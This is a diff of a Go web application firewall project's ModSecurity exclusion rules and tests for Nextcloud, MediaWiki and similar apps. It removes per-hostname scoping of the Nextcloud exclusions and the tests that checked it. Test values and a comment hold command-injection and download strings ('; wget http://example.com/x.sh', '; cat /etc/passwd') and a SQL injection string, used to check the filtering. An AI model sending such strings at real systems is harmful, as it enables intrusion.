@@ -458,7 +420,11 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
// holds no ";", "|", "&", backtick or "{", and only when the body sends
// it once.
r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
r = request{
http.MethodPost,
mediawikiWatchlist.target,
[]string{formData},
}
for _, attack := range []string{
mediawikiCommandAttack,
@@ -504,7 +470,13 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.field+value)
if got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
t.Errorf(
"POST %s %s%s refused: %+v",
sent.target,
sent.field,
value,
got,
)
}
}
@@ -520,7 +492,11 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
}
// A watchlist holds the title on its second line, as recorded.
r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
r := request{
http.MethodPost,
mediawikiWatchlist.target,
[]string{formData},
}
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes"
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
@@ -593,7 +569,11 @@ func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) {
{"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"},
{mediawikiAPI + "?action=edit", "text=python3"},
} {
r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}}
r := request{
http.MethodPost,
sent.target + "&" + sent.field,
[]string{formData},
}
got, _ := inspectBody(t, crs, r, sent.field)
if got.Score < mediawikiThreshold {
+1 -12
View File
@@ -1,4 +1,4 @@
# Nextcloud's fixes: on Nextcloud's paths, some fields skip the rules that
# The fourteenth change: on Nextcloud's paths, some fields skip the rules that
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
# sends a search, a name, a file name, a folder, a comment, a note, a status or
# a document's text. Each exclusion runs with the request, before the rules it
@@ -29,13 +29,6 @@
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
# injection, path traversal and script injection are still refused there.
# Unless SWW_APPS lists nextcloud for the request's hostname, every rule below
# is skipped. Inspect sets tx.app_nextcloud when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_nextcloud itself.
SecRule &TX:app_nextcloud "@eq 0" \
"id:900090,phase:1,pass,nolog,skipAfter:END_NEXTCLOUD"
# The sync client and the Files app use these WebDAV methods besides those
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
@@ -162,10 +155,8 @@ SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?(?:login/confirm|lostpassword/se
# change: key=password&value=..., or the same in JSON. This rule is in phase 2,
# because a phase 1 rule runs before the body is read. It checks that the body
# sends key once, so a second key cannot skip these rules for another field.
# It checks tx.app_nextcloud, since the skip above does not reach phase 2.
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/cloud/users/[^/]+$" \
"id:900127,phase:2,pass,nolog,chain"
SecRule &TX:app_nextcloud "@eq 1" "chain"
SecRule &ARGS_GET:/^(?:json\.)?(?:key|value)$/ "@eq 0" "chain"
SecRule &ARGS_POST:/^(?:json\.)?key$/ "@eq 1" "chain"
SecRule ARGS_POST:/^(?:json\.)?key$/ "@streq password" \
@@ -450,5 +441,3 @@ SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/addressbooks/" \
SecRule REQUEST_METHOD "@streq MKCOL" \
"ctl:ruleRemoveTargetById=932125;XML:/*,\
ctl:ruleRemoveTargetById=932230;XML:/*"
SecMarker END_NEXTCLOUD
+154 -87
View File
@@ -51,66 +51,6 @@ const (
// nextcloudOther is a JSON field no exclusion names.
const nextcloudOther = `{"other":"python3"}`
// nextcloud is Nextcloud's name in SWW_APPS.
const nextcloud = "nextcloud"
func TestNextcloudFixesApplyOnlyToAHostnameThatServesNextcloud(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {nextcloud},
})
// A search, which only Nextcloud's fixes let through.
search := get(nextcloudUsers + "?search=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestNextcloudWebDAVMethodsPassOnlyOnHostnamesThatServeNextcloud(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {nextcloud},
})
// Listing a folder, as the sync client does.
list := request{nextcloudPropFind, nextcloudFiles, nil}
wantResult(t, crs, withHost(list, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(list, giteaHost), matched(911100))
// Making a calendar, as a CalDAV client does.
calendar := request{nextcloudMkcalendar, nextcloudCalendars + "work/", nil}
wantResult(t, crs, withHost(calendar, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(calendar, giteaHost), matched(911100))
}
func TestNextcloudPasswordInValuePassesOnlyOnHostnamesThatServeNextcloud(t *testing.T) {
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: map[string][]string{giteaHost: {gitea}, otherHost: {nextcloud}},
})
// A password that only the phase 2 rule 900127 lets through.
r := request{http.MethodPut, nextcloudUsers + "/alice", []string{formData}}
body := "key=password&value=" + url.QueryEscape("' OR '1'='1")
got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
if got.Score >= nextcloudThreshold {
t.Errorf("PUT %s %s on %s refused: %+v", r.target, body, otherHost, got)
}
got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
if got.Score < nextcloudThreshold {
t.Errorf("PUT %s %s on %s let through: %+v", r.target, body, giteaHost, got)
}
}
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
// and 932260, each on a path where it skips them, ending in "=".
//
@@ -167,7 +107,12 @@ var nextcloudBodies = []nextcloudBody{
http.MethodPut, nextcloudUsers + "/admin",
jsonBody, `{"key":"headline","value":"%s"}`,
},
{http.MethodPost, "/ocs/v2.php/cloud/groups", jsonBody, `{"groupid":"%s"}`},
{
http.MethodPost,
"/ocs/v2.php/cloud/groups",
jsonBody,
`{"groupid":"%s"}`,
},
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`},
{http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`},
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`},
@@ -175,17 +120,42 @@ var nextcloudBodies = []nextcloudBody{
http.MethodPost, "/apps/theming/ajax/updateStylesheet",
jsonBody, `{"setting":"slogan","value":"%s"}`,
},
{http.MethodPost, nextcloudSave, jsonBody, `{"filePath":"/%s/Readme.md"}`},
{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, `{"name":"%s"}`},
{
http.MethodPost,
nextcloudSave,
jsonBody,
`{"filePath":"/%s/Readme.md"}`,
},
{
http.MethodPost,
"/remote.php/dav/systemtags/",
jsonBody,
`{"name":"%s"}`,
},
{
nextcloudSearch, "/remote.php/dav/", xmlBody,
`<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` +
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
`</d:like></d:where></d:basicsearch></d:searchrequest>`,
},
{nextcloudMkcol, nextcloudCalendars + "work", xmlBody, nextcloudNewCollection},
{nextcloudMkcol, nextcloudAddressBooks + "team", xmlBody, nextcloudNewCollection},
{nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody, nextcloudNewCalendar},
{
nextcloudMkcol,
nextcloudCalendars + "work",
xmlBody,
nextcloudNewCollection,
},
{
nextcloudMkcol,
nextcloudAddressBooks + "team",
xmlBody,
nextcloudNewCollection,
},
{
nextcloudMkcalendar,
nextcloudCalendars + "work/",
xmlBody,
nextcloudNewCalendar,
},
}
// The WebDAV methods that make a calendar or an address book.
@@ -247,7 +217,12 @@ var nextcloudDocument = nextcloudBody{
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudTexts = []nextcloudBody{
nextcloudDocument,
{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, `{"message":"%s"}`},
{
http.MethodPost,
"/remote.php/dav/comments/files/1",
jsonBody,
`{"message":"%s"}`,
},
{
nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody,
`<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` +
@@ -255,7 +230,12 @@ var nextcloudTexts = []nextcloudBody{
`</d:propertyupdate>`,
},
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`},
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/Notes","note":"%s"}`},
{
http.MethodPost,
nextcloudShares,
jsonBody,
`{"path":"/Notes","note":"%s"}`,
},
{
http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1",
formData, "note=%s",
@@ -283,7 +263,10 @@ const nextcloudCodeBlock = "```bash\n#!/bin/bash\nset -e\n" +
// nextcloudBodyScore returns the request that sends value, which is not
// escaped, in sent's body, and the score crs gives it.
func nextcloudBodyScore(
t *testing.T, crs *coreruleset.CoreRuleSet, sent nextcloudBody, value string,
t *testing.T,
crs *coreruleset.CoreRuleSet,
sent nextcloudBody,
value string,
) (string, int) {
t.Helper()
@@ -318,7 +301,11 @@ func nextcloudFieldScores(t *testing.T, value string) map[string]int {
scores := map[string]int{}
for _, target := range nextcloudQueryFields {
scores["GET "+target+value] = inspect(t, crs, get(target+value)).Score
scores["GET "+target+value] = inspect(
t,
crs,
get(target+value),
).Score
}
for _, sent := range nextcloudFormFields {
@@ -410,11 +397,23 @@ func TestNextcloudPasswordFieldsPass(t *testing.T) {
{"/apps/user_ldap/renewpassword", formData, change},
{"/index.php/apps/user_ldap/renewpassword", formData, change},
{"/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
{"/index.php/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
{
"/index.php/apps/encryption/ajax/updatePrivateKeyPassword",
formData,
change,
},
{"/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
{"/index.php/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
{
"/index.php/apps/encryption/ajax/changeRecoveryPassword",
formData,
recovery,
},
{"/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
{"/index.php/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
{
"/index.php/apps/encryption/ajax/adminRecovery",
formData,
adminRecovery,
},
{"/login/confirm", jsonBody, password},
{"/index.php/login/confirm", formData, password},
{"/lostpassword/set/AbCdEf/alice", jsonBody, password},
@@ -469,7 +468,12 @@ func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
{jsonRequest, jsonPassword("; cat /etc/passwd")},
} {
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score >= threshold {
t.Errorf("%s %.40s refused: %+v", sent.r.headers[0], sent.body, got)
t.Errorf(
"%s %.40s refused: %+v",
sent.r.headers[0],
sent.body,
got,
)
}
}
@@ -484,7 +488,12 @@ func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
{jsonRequest, `{"key":"email","value":"' OR '1'='1"}`},
} {
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score < threshold {
t.Errorf("%s %.40s let through: %+v", sent.r.headers[0], sent.body, got)
t.Errorf(
"%s %.40s let through: %+v",
sent.r.headers[0],
sent.body,
got,
)
}
}
@@ -512,7 +521,12 @@ func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
document := "Backup steps:\n\n" + nextcloudCodeBlock
request, score := nextcloudBodyScore(t, readingBodies(t), nextcloudDocument, document)
request, score := nextcloudBodyScore(
t,
readingBodies(t),
nextcloudDocument,
document,
)
if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score)
}
@@ -559,7 +573,10 @@ func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
crs := atDefaults(t)
cookie := func(value string) request {
return get("/apps/files/", "Cookie: nc_sameSiteCookielax=true; nc_username="+value)
return get(
"/apps/files/",
"Cookie: nc_sameSiteCookielax=true; nc_username="+value,
)
}
for _, value := range hardValues {
@@ -616,20 +633,40 @@ func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
// MKCALENDAR only where the calendars are.
for _, target := range []string{nextcloudCalendars, nextcloudCalendars + "work/"} {
wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched())
wantResult(
t,
crs,
request{nextcloudMkcalendar, target, nil},
matched(),
)
}
for _, target := range []string{
nextcloudFiles, nextcloudAddressBooks, "/remote.php/dav/",
"/x/remote.php/dav/calendars/",
} {
wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched(911100))
wantResult(
t,
crs,
request{nextcloudMkcalendar, target, nil},
matched(911100),
)
}
// PROPFIND, and no other WebDAV method, where a client asks for them.
for _, target := range []string{"/.well-known/caldav", "/.well-known/carddav"} {
wantResult(t, crs, request{nextcloudPropFind, target, nil}, matched())
wantResult(t, crs, request{nextcloudMkcol, target, nil}, matched(911100))
wantResult(
t,
crs,
request{nextcloudPropFind, target, nil},
matched(),
)
wantResult(
t,
crs,
request{nextcloudMkcol, target, nil},
matched(911100),
)
}
other := request{nextcloudPropFind, "/.well-known/other", nil}
@@ -663,7 +700,12 @@ func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
} {
sent := described.sent
request, score := nextcloudBodyScore(t, crs, sent, described.description)
request, score := nextcloudBodyScore(
t,
crs,
sent,
described.description,
)
if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score)
}
@@ -685,7 +727,12 @@ func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
// An MKCOL on the calendars' paths skips only the rules for names.
sent.method, sent.target = nextcloudMkcol, nextcloudCalendars+"work/"
request, score = nextcloudBodyScore(t, crs, sent, described.description)
request, score = nextcloudBodyScore(
t,
crs,
sent,
described.description,
)
if score < nextcloudThreshold {
t.Errorf("%s let through: %d", request, score)
}
@@ -721,7 +768,10 @@ func TestNextcloudChangedEventsAndContactsPass(t *testing.T) {
[]string{"Content-Type: text/plain; charset=UTF-8; charset=UTF-8"},
},
} {
if got := inspect(t, crs, refused); !slices.Contains(got.RuleIDs, 920530) {
if got := inspect(t, crs, refused); !slices.Contains(
got.RuleIDs,
920530,
) {
t.Errorf("%s %s %q let through: %+v",
refused.method, refused.target, refused.headers, got)
}
@@ -762,7 +812,12 @@ func TestNextcloudUploadsAreNotReadAsFields(t *testing.T) {
} {
got, _ := inspectBody(t, crs, refused, upload.body)
if got.Score < nextcloudThreshold {
t.Errorf("%s %s let through: %+v", refused.method, refused.target, got)
t.Errorf(
"%s %s let through: %+v",
refused.method,
refused.target,
got,
)
}
}
}
@@ -773,7 +828,13 @@ func TestNextcloudPathTraversalIsRefusedInWebDAVPaths(t *testing.T) {
crs := atDefaults(t)
methods := []string{http.MethodGet, http.MethodPut, nextcloudPropFind, "MOVE", "LOCK"}
methods := []string{
http.MethodGet,
http.MethodPut,
nextcloudPropFind,
"MOVE",
"LOCK",
}
for _, method := range methods {
for _, target := range []string{
@@ -861,7 +922,13 @@ func TestNextcloudExclusionsAreNarrow(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.body)
if got.Score < nextcloudThreshold {
t.Errorf("%s %s %s let through: %+v", sent.method, sent.target, sent.body, got)
t.Errorf(
"%s %s %s let through: %+v",
sent.method,
sent.target,
sent.body,
got,
)
}
}
}
+30 -45
View File
@@ -13,8 +13,6 @@ import (
"slices"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// giteaRequests returns the recorded ordinary gitea requests in testdata.
@@ -54,10 +52,10 @@ func TestOrdinaryGiteaRequestsPass(t *testing.T) {
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
crs := servingApps(t, map[string][]string{giteaHost: {gitea}})
crs := atDefaults(t)
for _, r := range giteaRequests(t) {
if got := inspect(t, crs, withHost(r, giteaHost)); got.Score >= threshold {
if got := inspect(t, crs, r); got.Score >= threshold {
t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
}
}
@@ -104,25 +102,17 @@ func recordedRequests(t *testing.T, name string) []recordedRequest {
}
// wantRecordedRequestsPass checks that none of the recorded ordinary
// requests in the file name in testdata is refused on the hostname where
// they were recorded, otherHost for WordPress and example.com for the other
// apps, while SWW_APPS lists only app for it. They are checked at the
// defaults and while bodies are read. With SWW_APPS unset, every app's fixes
// apply. These only switch checks off, so the requests pass then too. A
// request with neither a body nor a Content-Type header is checked only at
// the defaults: with neither, the set that reads bodies has nothing more to
// check. Each request runs as its own parallel subtest.
func wantRecordedRequestsPass(t *testing.T, name, app string) {
// requests in the file name in testdata is refused, at the defaults and
// while bodies are read. A request with neither a body nor a Content-Type
// header is checked only at the defaults: with neither, the set that reads
// bodies has nothing more to check. Each request runs as its own parallel
// subtest.
func wantRecordedRequestsPass(t *testing.T, name string) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
apps := map[string][]string{"example.com": {app}, otherHost: {app}}
defaults := servingApps(t, apps)
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: apps,
})
defaults, bodies := atDefaults(t), readingBodies(t)
for _, recorded := range recordedRequests(t, name) {
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
@@ -135,11 +125,14 @@ func wantRecordedRequestsPass(t *testing.T, name, app string) {
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
}
typed := slices.ContainsFunc(recorded.Headers, func(header string) bool {
name, _, _ := strings.Cut(header, ":")
typed := slices.ContainsFunc(
recorded.Headers,
func(header string) bool {
name, _, _ := strings.Cut(header, ":")
return strings.EqualFold(name, "Content-Type")
})
return strings.EqualFold(name, "Content-Type")
},
)
if recorded.Body == "" && !typed {
return
}
@@ -156,32 +149,24 @@ func wantRecordedRequestsPass(t *testing.T, name, app string) {
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "drupal-requests.txt", "drupal")
wantRecordedRequestsPass(t, "drupal-requests.txt")
}
// TestOrdinaryForgejoRequestsPass checks Forgejo's recorded requests at the
// defaults only: with SWW_APPS unset, and on example.com, where they were
// recorded, while SWW_APPS lists only forgejo for it. While bodies are read,
// the Core Rule Set still refuses the file and branch names some of them
// carry in a form or JSON body, as it does gitea's
// (TestGiteaBodiesTheCoreRuleSetRefuses).
// defaults only. While bodies are read, the Core Rule Set still refuses the
// file and branch names some of them carry in a form or JSON body, as it does
// gitea's (TestGiteaBodiesTheCoreRuleSetRefuses).
func TestOrdinaryForgejoRequestsPass(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
requests := recordedRequests(t, "forgejo-requests.txt")
forgejoOnly := map[string][]string{"example.com": {forgejo}}
crs := atDefaults(t)
for apps, crs := range map[string]*coreruleset.CoreRuleSet{
"SWW_APPS unset": atDefaults(t),
"SWW_APPS=example.com:forgejo": servingApps(t, forgejoOnly),
} {
for _, recorded := range requests {
r := request{recorded.Method, recorded.Target, recorded.Headers}
if got, _ := inspectBody(t, crs, r, recorded.Body); got.Score >= threshold {
t.Errorf("%s: %s %s refused: %+v", apps, r.method, r.target, got)
}
for _, recorded := range recordedRequests(t, "forgejo-requests.txt") {
r := request{recorded.Method, recorded.Target, recorded.Headers}
if got, _ := inspectBody(t, crs, r, recorded.Body); got.Score >= threshold {
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
}
}
}
@@ -189,29 +174,29 @@ func TestOrdinaryForgejoRequestsPass(t *testing.T) {
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "mastodon-requests.txt", "mastodon")
wantRecordedRequestsPass(t, "mastodon-requests.txt")
}
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "mediawiki-requests.txt", mediawiki)
wantRecordedRequestsPass(t, "mediawiki-requests.txt")
}
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "nextcloud-requests.txt", nextcloud)
wantRecordedRequestsPass(t, "nextcloud-requests.txt")
}
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "vaultwarden-requests.txt", "vaultwarden")
wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
}
func TestOrdinaryWordPressRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "wordpress-requests.txt", wordpress)
wantRecordedRequestsPass(t, "wordpress-requests.txt")
}
+213
View File
@@ -190,6 +190,215 @@
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=release%20notes&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=python3&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=python3&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=powershell&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=powershell&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=ls%20-la&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=ls%20-la&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=.htaccess&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
